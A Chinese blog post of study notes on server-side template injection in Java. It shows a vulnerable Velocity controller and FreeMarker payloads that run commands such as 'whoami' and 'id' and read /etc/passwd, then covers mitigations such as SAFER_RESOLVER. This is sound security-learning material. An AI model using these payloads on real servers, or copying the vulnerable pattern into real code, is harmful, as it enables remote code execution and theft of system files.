当前位置:首页 » 《随便一记》 » 正文

学习笔记-java代码审计-ssti

29 人参与  2022年11月13日 17:15  分类 : 《随便一记》  评论

点击全文阅读


java代码审计-ssti

0x01漏洞挖掘

Velocity

@RequestMapping("/ssti/velocity")public String velocity(@RequestParam(name = "content") String content) {    Velocity.init();    VelocityContext velocityContext = new VelocityContext();    velocityContext.put("username", "seaii");    StringWriter stringWriter = new StringWriter();    Velocity.evaluate(velocityContext, stringWriter, "test", content);    return stringWriter.toString();}

利用方式:

#set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")

FreeMarker

@RequestMapping("/ssti/freemarker")public String freemarker() throws IOException, TemplateException {    Configuration configuration = new Configuration(Configuration.VERSION_2_3_23);    configuration.setClassForTemplateLoading(this.getClass(), "/templates");    Template template = configuration.getTemplate("test.ftl");    Map<String, Object> rootMap = new HashMap<String, Object>();    rootMap.put("username", "passwd");    StringWriter stringWriter = new StringWriter();    template.process(rootMap, stringWriter);    return stringWriter.toString();}

freemarker与velocity的攻击方式不太一样,freemarker可利用的点在于模版语法本身,直接渲染用户输入payload会被转码而失效,所以一般的利用场景为上传或者修改模版文件。

利用方式如下:

命令执行1:

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

命令执行2:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >        <#list 1..10000 as t>    <#assign line=br.readLine()!"null">    <#if line=="null">        <#break>    </#if>    ${line}    ${"<br>"}</#list>

文件读取:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) >        <#list 1..10000 as t>    <#assign line=br.readLine()!"null">    <#if line=="null">        <#break>    </#if>    ${line?html}    ${"<br>"}</#list>

将上面的payload写入到模版文件保存,然后让freemarker加载即可。

0x02漏洞防御

Velocity

velocity到目前最新版本也没有提供沙盒或者防御方式,只能禁止或严格过滤用户输入进入Velocity.evaluate

FreeMarker

最简单的方式是使用TemplateClassResolver,文档在这:

https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html

可根据实际需求选择这两种方式,代码实现如下:

configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

但这并不是一劳永逸的防御方式,如果配置不当,依然会造成安全问题:

Freemarker模板注入 Bypass

0x03参考链接

服务端模板注入:现代WEB远程代码执行(补充翻译和扩展)

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

Freemarker模板注入 Bypass

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon


点击全文阅读


本文链接:http://zhangshiyu.com/post/48214.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1